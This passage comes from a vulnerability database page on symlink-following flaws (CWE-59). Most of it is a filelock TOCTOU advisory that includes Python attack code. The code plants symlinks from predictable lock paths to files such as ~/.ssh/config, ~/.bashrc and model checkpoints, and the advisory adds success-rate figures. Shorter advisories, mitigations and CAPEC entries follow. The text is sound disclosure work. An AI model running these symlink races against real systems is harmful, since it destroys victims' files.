recommended.\n\n______________________________________________________________________\n\n## Technical Details: How the Exploit Works\n\n### The Vulnerable Code Pattern\n\n**Unix/Linux/macOS** (`src/filelock/_unix.py:39-44`):\n\n```python\ndef _acquire(self) -\u003e None:\n    ensure_directory_exists(self.lock_file)\n    open_flags = os.O_RDWR | os.O_TRUNC  # (1) Prepare to truncate\n    if not Path(self.lock_file).exists():  # (2) CHECK: Does file exist?\n        open_flags |= os.O_CREAT\n    fd = os.open(self.lock_file, open_flags, ...)  # (3) USE: Open and truncate\n```\n\n**Windows** (`src/filelock/_windows.py:19-28`):\n\n```python\ndef _acquire(self) -\u003e None:\n    raise_on_not_writable_file(self.lock_file)  # (1) Check writability\n    ensure_directory_exists(self.lock_file)\n    flags = os.O_RDWR | os.O_CREAT | os.O_TRUNC  # (2) Prepare to truncate\n    fd = os.open(self.lock_file, flags, ...)  # (3) Open and truncate\n```\n\n### The Race Window\n\nThe vulnerability exists in the gap between operations:\n\n**Unix variant:**\n\n```\nTime    Victim Thread                          Attacker Thread\n----    -------------                          ---------------\nT0      Check: lock_file exists? \u2192 False\nT1                                             \u2193 RACE WINDOW\nT2                                             Create symlink: lock \u2192 victim_file\nT3      Open lock_file with O_TRUNC\n        \u2192 Follows symlink\n        \u2192 Opens victim_file\n        \u2192 Truncates victim_file to 0 bytes! \u2620\ufe0f\n```\n\n**Windows variant:**\n\n```\nTime    Victim Thread                          Attacker Thread\n----    -------------                          ---------------\nT0      Check: lock_file writable?\nT1                                             \u2193 RACE WINDOW\nT2                                             Create symlink: lock \u2192 victim_file\nT3      Open lock_file with O_TRUNC\n        \u2192 Follows symlink/junction\n        \u2192 Opens victim_file\n        \u2192 Truncates victim_file to 0 bytes! \u2620\ufe0f\n```\n\n### Step-by-Step Attack Flow\n\n**1. Attacker Setup:**\n\n```python\n# Attacker identifies target application using filelock\nlock_path = \"/tmp/myapp.lock\"  # Predictable lock path\nvictim_file = \"/home/victim/.ssh/config\"  # High-value target\n```\n\n**2. Attacker Creates Race Condition:**\n\n```python\nimport os\nimport threading\n\n\ndef attacker_thread():\n    # Remove any existing lock file\n    try:\n        os.unlink(lock_path)\n    except FileNotFoundError:\n        pass\n\n    # Create symlink pointing to victim file\n    os.symlink(victim_file, lock_path)\n    print(f\"[Attacker] Created: {lock_path} \u2192 {victim_file}\")\n\n\n# Launch attack\nthreading.Thread(target=attacker_thread).start()\n```\n\n**3. Victim Application Runs:**\n\n```python\nfrom filelock import UnixFileLock\n\n# Normal application code\nlock = UnixFileLock(\"/tmp/myapp.lock\")\nlock.acquire()  # \u2190 VULNERABILITY TRIGGERED HERE\n# At this point, /home/victim/.ssh/config is now 0 bytes!\n```\n\n**4. What Happens Inside os.open():**\n\nOn Unix systems, when `os.open()` is called:\n\n```c\n// Linux kernel behavior (simplified)\nint open(const char *pathname, int flags) {\n    struct file *f = path_lookup(pathname);  // Resolves symlinks by default!\n\n    if (flags \u0026 O_TRUNC) {\n        truncate_file(f);  // \u2190 Truncates the TARGET of the symlink\n    }\n\n    return file_descriptor;\n}\n```\n\nWithout `O_NOFOLLOW` flag, the kernel follows the symlink and truncates the target file.\n\n### Why the Attack Succeeds Reliably\n\n**Timing Characteristics:**\n\n- **Check operation** (Path.exists()): ~100-500 nanoseconds\n- **Symlink creation** (os.symlink()): ~1-10 microseconds\n- **Race window**: ~1-5 microseconds (very small but exploitable)\n- **Thread scheduling quantum**: ~1-10 milliseconds\n\n**Success factors:**\n\n1. **Tight loop**: Running attack in a loop hits the race window within 1-3 attempts\n2. **CPU scheduling**: Modern OS thread schedulers frequently context-switch during I/O operations\n3. **No synchronization**: No atomic file creation prevents the race\n4. **Symlink speed**: Creating symlinks is extremely fast (metadata-only operation)\n\n### Real-World Attack Scenarios\n\n**Scenario 1: virtualenv Exploitation**\n\n```python\n# Victim runs: python -m venv /tmp/myenv\n# Attacker racing to create:\nos.symlink(\"/home/victim/.bashrc\", \"/tmp/myenv/pyvenv.cfg\")\n\n# Result: /home/victim/.bashrc overwritten with:\n# home = /usr/bin/python3\n# include-system-site-packages = false\n# version = 3.11.2\n# \u2190 Original .bashrc contents LOST + virtualenv metadata LEAKED to attacker\n```\n\n**Scenario 2: PyTorch Cache Poisoning**\n\n```python\n# Victim runs: import torch\n# PyTorch checks CPU capabilities, uses filelock on cache\n# Attacker racing to create:\nos.symlink(\"/home/victim/.torch/compiled_model.pt\", \"/home/victim/.cache/torch/cpu_isa_check.lock\")\n\n# Result: Trained ML model checkpoint truncated to 0 bytes\n# Impact: Weeks of training lost, ML pipeline DoS\n```\n\n### Why Standard Defenses Don\u0027t Help\n\n**File permissions don\u0027t prevent this:**\n\n- Attacker doesn\u0027t need write access to victim_file\n- os.open() with O_TRUNC follows symlinks using the *victim\u0027s* permissions\n- The victim process truncates its own file\n\n**Directory permissions help but aren\u0027t always feasible:**\n\n- Lock files often created in shared /tmp directory (mode 1777)\n- Applications may not control lock file location\n- Many apps use predictable paths in user-writable directories\n\n**File locking doesn\u0027t prevent this:**\n\n- The truncation happens *during* the open() call, before any lock is acquired\n- fcntl.flock() only prevents concurrent lock acquisition, not symlink attacks\n\n### Exploitation Proof-of-Concept Results\n\nFrom empirical testing with the provided PoCs:\n\n**Simple Direct Attack** (`filelock_simple_poc.py`):\n\n- Success rate: 33% per attempt (1 in 3 tries)\n- Average attempts to success: 2.1\n- Target file reduced to 0 bytes in \\\u003c100ms\n\n**virtualenv Attack** (`weaponized_virtualenv.py`):\n\n- Success rate: ~90% on first attempt (deterministic timing)\n- Information leaked: File paths, Python version, system configuration\n- Data corruption: Complete loss of original file contents\n\n**PyTorch Attack** (`weaponized_pytorch.py`):\n\n- Success rate: 25-40% per attempt\n- Impact: Application crashes, model loading failures\n- Recovery: Requires cache rebuild or model retraining\n\n**Discovered and reported by:** George Tsigourakos (@tsigouris007)",
  "id": "GHSA-w853-jp5j-5j7f",
  "modified": "2025-12-16T20:52:55Z",
  "published": "2025-12-16T20:52:55Z",
  "references": [
    {
      "type": "WEB",
      "url": "https://github.com/tox-dev/filelock/security/advisories/GHSA-w853-jp5j-5j7f"
    },
    {
      "type": "WEB",
      "url": "https://github.com/tox-dev/filelock/commit/4724d7f8c3393ec1f048c93933e6e3e6ec321f0e"
    },
    {
      "type": "PACKAGE",
      "url": "https://github.com/tox-dev/filelock"
    },
    {
      "type": "WEB",
      "url": "https://github.com/tox-dev/filelock/releases/tag/3.20.1"
    },
    {
      "type": "WEB",
      "url": "https://learn.microsoft.com/en-us/windows/win32/fileio/file-attribute-constants"
    },
    {
      "type": "WEB",
      "url": "https://pubs.opengroup.org/onlinepubs/9699919799/functions/open.html"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:L/AC:H/PR:L/UI:N/S:U/C:N/I:H/A:H",
      "type": "CVSS_V3"
    }
  ],
  "summary": "filelock has a TOCTOU race condition which allows symlink attacks during lock file creation"
}

GHSA-W8G8-VHWR-GR27

Vulnerability from github – Published: 2024-01-15 15:30 – Updated: 2024-10-10 18:31
VLAI
Details

PAX Android based POS devices with PayDroid_8.1.0_Sagittarius_V11.1.50_20230614 or earlier can allow for command execution with high privileges by using malicious symlinks.

The attacker must have shell access to the device in order to exploit this vulnerability.

Severity
7.8 (High)
CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H
Show details on source website
To clipboard 

{
  "affected": [],
  "aliases": [
    "CVE-2023-42137"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-20",
      "CWE-59"
    ],
    "github_reviewed": false,
    "github_reviewed_at": null,
    "nvd_published_at": "2024-01-15T14:15:24Z",
    "severity": "HIGH"
  },
  "details": "PAX Android based POS devices with PayDroid_8.1.0_Sagittarius_V11.1.50_20230614 or earlier can allow for command execution with high privileges by using malicious symlinks.\n\n\n\n\nThe attacker must have shell access to the device in order to exploit this vulnerability. \n\n\n",
  "id": "GHSA-w8g8-vhwr-gr27",
  "modified": "2024-10-10T18:31:07Z",
  "published": "2024-01-15T15:30:26Z",
  "references": [
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2023-42137"
    },
    {
      "type": "WEB",
      "url": "https://blog.stmcyber.com/pax-pos-cves-2023"
    },
    {
      "type": "WEB",
      "url": "https://cert.pl/en/posts/2024/01/CVE-2023-4818"
    },
    {
      "type": "WEB",
      "url": "https://cert.pl/posts/2024/01/CVE-2023-4818"
    },
    {
      "type": "WEB",
      "url": "https://ppn.paxengine.com/release/development"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H",
      "type": "CVSS_V3"
    }
  ]
}

GHSA-W8P2-VHRJ-74P5

Vulnerability from github – Published: 2022-05-01 23:28 – Updated: 2022-05-01 23:28
VLAI
Details

The write_array_file function in utils/include.pl in GForge 4.5.14 updates configuration files by truncating them to zero length and then writing new data, which might allow attackers to bypass intended access restrictions or have unspecified other impact in opportunistic circumstances.

Show details on source website
To clipboard 

{
  "affected": [],
  "aliases": [
    "CVE-2008-0167"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-59"
    ],
    "github_reviewed": false,
    "github_reviewed_at": null,
    "nvd_published_at": "2008-05-18T14:20:00Z",
    "severity": "MODERATE"
  },
  "details": "The write_array_file function in utils/include.pl in GForge 4.5.14 updates configuration files by truncating them to zero length and then writing new data, which might allow attackers to bypass intended access restrictions or have unspecified other impact in opportunistic circumstances.",
  "id": "GHSA-w8p2-vhrj-74p5",
  "modified": "2022-05-01T23:28:06Z",
  "published": "2022-05-01T23:28:06Z",
  "references": [
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2008-0167"
    },
    {
      "type": "WEB",
      "url": "https://exchange.xforce.ibmcloud.com/vulnerabilities/42456"
    },
    {
      "type": "WEB",
      "url": "http://secunia.com/advisories/30088"
    },
    {
      "type": "WEB",
      "url": "http://secunia.com/advisories/30286"
    },
    {
      "type": "WEB",
      "url": "http://security.debian.org/pool/updates/main/g/gforge/gforge_4.5.14-22etch8.diff.gz"
    },
    {
      "type": "WEB",
      "url": "http://www.debian.org/security/2008/dsa-1577"
    },
    {
      "type": "WEB",
      "url": "http://www.securityfocus.com/bid/29215"
    },
    {
      "type": "WEB",
      "url": "http://www.vupen.com/english/advisories/2008/1537/references"
    }
  ],
  "schema_version": "1.4.0",
  "severity": []
}

GHSA-W8VQ-HJWG-7P95

Vulnerability from github – Published: 2022-05-13 01:11 – Updated: 2022-05-13 01:11
VLAI
Details

The PEAR_REST class in REST.php in PEAR in PHP through 5.6.0 allows local users to write to arbitrary files via a symlink attack on a (1) rest.cachefile or (2) rest.cacheid file in /tmp/pear/cache/, related to the retrieveCacheFirst and useLocalCache functions.

Show details on source website
To clipboard 

{
  "affected": [],
  "aliases": [
    "CVE-2014-5459"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-59"
    ],
    "github_reviewed": false,
    "github_reviewed_at": null,
    "nvd_published_at": "2014-09-27T10:55:00Z",
    "severity": "LOW"
  },
  "details": "The PEAR_REST class in REST.php in PEAR in PHP through 5.6.0 allows local users to write to arbitrary files via a symlink attack on a (1) rest.cachefile or (2) rest.cacheid file in /tmp/pear/cache/, related to the retrieveCacheFirst and useLocalCache functions.",
  "id": "GHSA-w8vq-hjwg-7p95",
  "modified": "2022-05-13T01:11:18Z",
  "published": "2022-05-13T01:11:18Z",
  "references": [
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2014-5459"
    },
    {
      "type": "WEB",
      "url": "https://bugs.debian.org/cgi-bin/bugreport.cgi?bug=759282"
    },
    {
      "type": "WEB",
      "url": "http://lists.opensuse.org/opensuse-updates/2014-09/msg00024.html"
    },
    {
      "type": "WEB",
      "url": "http://lists.opensuse.org/opensuse-updates/2014-09/msg00055.html"
    },
    {
      "type": "WEB",
      "url": "http://www.openwall.com/lists/oss-security/2014/08/27/3"
    },
    {
      "type": "WEB",
      "url": "http://www.oracle.com/technetwork/topics/security/bulletinjan2015-2370101.html"
    }
  ],
  "schema_version": "1.4.0",
  "severity": []
}
Mitigation MIT-48.1
Architecture and Design

Strategy: Separation of Privilege

  • Follow the principle of least privilege when assigning access rights to entities in a software system.
  • Denying access to a file can prevent an attacker from replacing that file with a link to a sensitive file. Ensure good compartmentalization in the system to provide protected areas that can be trusted.
CAPEC-132: Symlink Attack

An adversary positions a symbolic link in such a manner that the targeted user or application accesses the link's endpoint, assuming that it is accessing a file with the link's name.

CAPEC-17: Using Malicious Files

An attack of this type exploits a system's configuration that allows an adversary to either directly access an executable file, for example through shell access; or in a possible worst case allows an adversary to upload a file and then execute it. Web servers, ftp servers, and message oriented middleware systems which have many integration points are particularly vulnerable, because both the programmers and the administrators must be in synch regarding the interfaces and the correct privileges for each interface.

CAPEC-35: Leverage Executable Code in Non-Executable Files

An attack of this type exploits a system's trust in configuration and resource files. When the executable loads the resource (such as an image file or configuration file) the attacker has modified the file to either execute malicious code directly or manipulate the target process (e.g. application server) to execute based on the malicious configuration parameters. Since systems are increasingly interrelated mashing up resources from local and remote sources the possibility of this attack occurring is high.

CAPEC-76: Manipulating Web Input to File System Calls

An attacker manipulates inputs to the target software which the target software passes to file system calls in the OS. The goal is to gain access to, and perhaps modify, areas of the file system that the target software did not intend to be accessible.

← Back to the CWE list